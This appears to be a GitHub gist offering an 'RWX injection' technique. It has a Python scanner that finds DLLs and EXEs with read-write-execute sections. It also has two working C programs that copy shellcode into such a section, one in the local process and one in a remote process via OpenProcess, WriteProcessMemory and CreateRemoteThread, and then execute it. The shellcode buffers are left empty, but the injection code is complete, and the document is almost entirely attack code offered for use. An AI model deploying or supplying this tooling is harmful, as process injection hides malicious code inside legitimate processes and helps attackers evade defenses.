Skip to content

Instantly share code, notes, and snippets.

@WKL-Sec
Created June 30, 2023 16:13
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save WKL-Sec/96e17188e4c159c2cdf7ff2c111130cc to your computer and use it in GitHub Desktop.
Save WKL-Sec/96e17188e4c159c2cdf7ff2c111130cc to your computer and use it in GitHub Desktop.
RWX Injection - Memory Allocation/Protection Primitive
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import argparse
import concurrent.futures
import os
import pefile
import threading
print_lock = threading.Lock()
# https://github.com/erocarrera/pefile/issues/297
def close_recursive( obj, target ):
if isinstance( obj, list ):
for val in obj:
close_recursive( val, target )
elif isinstance( obj, object ):
try:
dictobj = obj.__dict__
if target in dictobj:
setattr( obj, target, None )
for _, val in dictobj.items():
close_recursive( val, target )
except AttributeError:
pass
def close_pe( pe ):
for _, val in pe.__dict__.items():
close_recursive( val, "pe" )
pe.close()
class RWXSection:
name = None
offset = 0
size = 0
raw_size = 0
def __init__( self, section ):
self.name = section.Name.decode()
self.offset = section.VirtualAddress
self.size = section.Misc_VirtualSize
self.raw_size = section.SizeOfRawData
def clear( self ):
self.name = None
self.offset = 0
self.size = 0
self.raw_size = 0
def get_arch( pe_module ):
if pe_module.FILE_HEADER.Machine == 0x14c:
return 'x86'
elif pe_module.FILE_HEADER.Machine == 0x8664:
return 'x64'
else:
return 'unknown'
def is_signed( pe_module ):
dir = pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]
if len(pe_module.OPTIONAL_HEADER.DATA_DIRECTORY) >= dir:
va = pe_module.OPTIONAL_HEADER.DATA_DIRECTORY[dir].VirtualAddress
if va != 0:
return True
return False
def print_results( path, arch, signed, results ):
print_lock.acquire()
print( f'[+] {path}' )
print( f' Arch: {arch}' )
print( f' Signed: {signed}' )
print( f' RWX Sections:' )
for module in results:
print( f' Name: {module.name}' )
print( f' VirtualAddress: {module.offset}' )
print( f' VirtualSize: {module.size}' )
print( f' RawSize: {module.raw_size}' )
module.clear()
print_lock.release()
def get_rwx_sections( file, root ):
path = ''
arch = ''
signed = False
results = list()
if file.lower().endswith( ( '.dll', '.exe' ) ):
path = os.path.join( root, file )
pe_module = pefile.PE( path )
arch = get_arch( pe_module )
signed = is_signed( pe_module )
for section in pe_module.sections:
if( section.Characteristics & 0x20000000 and # IMAGE_SCN_MEM_EXECUTE
section.Characteristics & 0x40000000 and # IMAGE_SCN_MEM_READ
section.Characteristics & 0x80000000 ): # IMAGE_SCN_MEM_WRITE
results.append( RWXSection( section ) )
close_pe( pe_module )
if results:
print_results( path, arch, signed, results )
results.clear()
if __name__ in '__main__':
try:
parser = argparse.ArgumentParser( description = 'Extracts exports from a PE.' )
parser.add_argument( '-d', required = True, help = 'Directory to recursively scan for modules', type = str )
option = parser.parse_args()
with concurrent.futures.ThreadPoolExecutor() as executor:
for root, _, files in os.walk( option.d ):
for file in files:
executor.submit( get_rwx_sections, file, root )
except Exception as e:
print( f'[!] error: {e}' )
// x86_64-w64-mingw32-gcc local.c -o local.x64.exe -lpsapi
// i686-w64-mingw32-gcc local.c -o local.x86.exe -lpsapi
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#define MODULE "C:\\Users\\Administrator\\Desktop\\iKernel.dll"
#define OFFSET 0x00001000
#ifdef _WIN64
unsigned char shellcode[] = "";
#else
unsigned char shellcode[] = "";
#endif
INT main() {
HANDLE hDll;
MODULEINFO info;
PVOID rwxSection;
HANDLE hThread;
hDll = LoadLibraryA( MODULE );
if( hDll == NULL )
{
printf( "LoadLibraryA failed: %d\n", GetLastError() );
return 1;
};
printf( "DLL address: %p\n", hDll );
if( !GetModuleInformation( ( HANDLE )-1, hDll, &info, sizeof( MODULEINFO ) ) )
{
printf( "GetModuleInformation failed: %d\n", GetLastError() );
return 1;
};
printf( "Base Address: %p\n", info.lpBaseOfDll );
rwxSection = ( PVOID )( ( ULONG_PTR )info.lpBaseOfDll + ( ULONG_PTR )OFFSET );
printf( "RWX Section Address: %p\n", rwxSection );
printf( "Shellcode Address: %p\n", shellcode );
printf( "Shellcode Length: %d\n", sizeof( shellcode ) );
printf( "Press any key to copy shellcode...\n" );
getchar();
memcpy( rwxSection, shellcode, sizeof( shellcode ) );
printf( "Press any key to execute shellcode...\n" );
getchar();
hThread = CreateThread( NULL, 0, ( LPTHREAD_START_ROUTINE )rwxSection, NULL, 0, NULL );
if( hThread == NULL )
{
printf( "CreateThread failed: %d\n", GetLastError() );
return 1;
};
WaitForSingleObject( hThread, INFINITE );
CloseHandle( hThread );
printf( "Press any key to exit...\n" );
getchar();
return 0;
};
// x86_64-w64-mingw32-gcc remote.c -o remote.x64.exe -lpsapi
// i686-w64-mingw32-gcc remote.c -o remote.x86.exe -lpsapi
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#define MODULE "C:\\Users\\Administrator\\Desktop\\iKernel.dll"
#define OFFSET 0x00001000
#define PROCID 6424
#ifdef _WIN64
unsigned char shellcode[] = "";
#else
unsigned char shellcode[] = "";
#endif
INT main() {
HANDLE hProc;
PVOID pDllName;
PTHREAD_START_ROUTINE pLoadLibrary;
HANDLE hThread;
HMODULE hMods[1024];
DWORD cbNeeded;
DWORD dwFilter;
HMODULE hDll;
PVOID rwxSection;
hProc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, PROCID );
if( hProc == INVALID_HANDLE_VALUE )
{
printf( "OpenProcess failed: %d\n", GetLastError() );
return 1;
};
printf( "Process handle: %p\n", hProc );
pDllName = VirtualAllocEx( hProc, NULL, sizeof( MODULE ), MEM_COMMIT, PAGE_READWRITE );
if( pDllName == NULL )
{
printf( "VirtualAllocEx failed: %d\n", GetLastError() );
return 1;
};
printf( "Remote DLL name address: %p\n", pDllName );
if( !WriteProcessMemory( hProc, pDllName, MODULE, sizeof( MODULE ), NULL ) )
{
printf( "WriteProcessMemory failed: %d\n", GetLastError() );
return 1;
};
pLoadLibrary = ( PTHREAD_START_ROUTINE )GetProcAddress( GetModuleHandleA( "Kernel32" ), "LoadLibraryA" );
hThread = CreateRemoteThread( hProc, NULL, 0, pLoadLibrary, pDllName, 0, NULL );
if( hThread == INVALID_HANDLE_VALUE )
{
printf( "CreateRemoteThread failed: %d\n", GetLastError() );
return 1;
};
if( WaitForSingleObject( hThread, 1000 ) == WAIT_TIMEOUT )
{
printf( "LoadLibraryA timed out\n" );
return 1;
};
CloseHandle( hThread );
SIZE_T modulesCount = 0;
#ifdef _WIN64
dwFilter = LIST_MODULES_64BIT;
#else
dwFilter = LIST_MODULES_32BIT;
#endif
if( !EnumProcessModulesEx( hProc, hMods, sizeof( hMods ), &cbNeeded, dwFilter ) )
{
printf( "EnumProcessModulesEx failed: %d\n", GetLastError() );
return 1;
};
for ( INT i = 0; i < ( cbNeeded / sizeof( HMODULE ) ); i++ )
{
CHAR szModName[MAX_PATH];
if( GetModuleFileNameExA( hProc, hMods[i], szModName, sizeof( szModName ) ) )
{
if( strcmp( szModName, MODULE ) == 0 )
{
hDll = hMods[i];
break;
};
};
};
if( hDll == NULL )
{
printf( "Failed to find module\n" );
return 1;
};
printf( "Remote DLL address: %p\n", hDll );
rwxSection = ( PVOID )( ( ULONG_PTR )hDll + ( ULONG_PTR )OFFSET );
printf( "Remote RWX section address: %p\n", rwxSection );
printf( "Shellcode address: %p\n", shellcode );
printf( "Shellcode length: %d\n", sizeof( shellcode ) );
printf( "Press any key to copy shellcode...\n" );
getchar();
if( !WriteProcessMemory( hProc, rwxSection, shellcode, sizeof( shellcode ), NULL ) )
{
printf( "WriteProcessMemory failed: %d\n", GetLastError() );
return 1;
};
printf( "Press any key to execute shellcode...\n" );
getchar();
hThread = CreateRemoteThread( hProc, NULL, 0, ( LPTHREAD_START_ROUTINE )rwxSection, NULL, 0, NULL );
if( hThread == NULL )
{
printf( "CreateRemoteThread failed: %d\n", GetLastError() );
return 1;
};
WaitForSingleObject( hThread, INFINITE );
CloseHandle( hThread );
printf( "Press any key to exit...\n" );
getchar();
return 0;
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment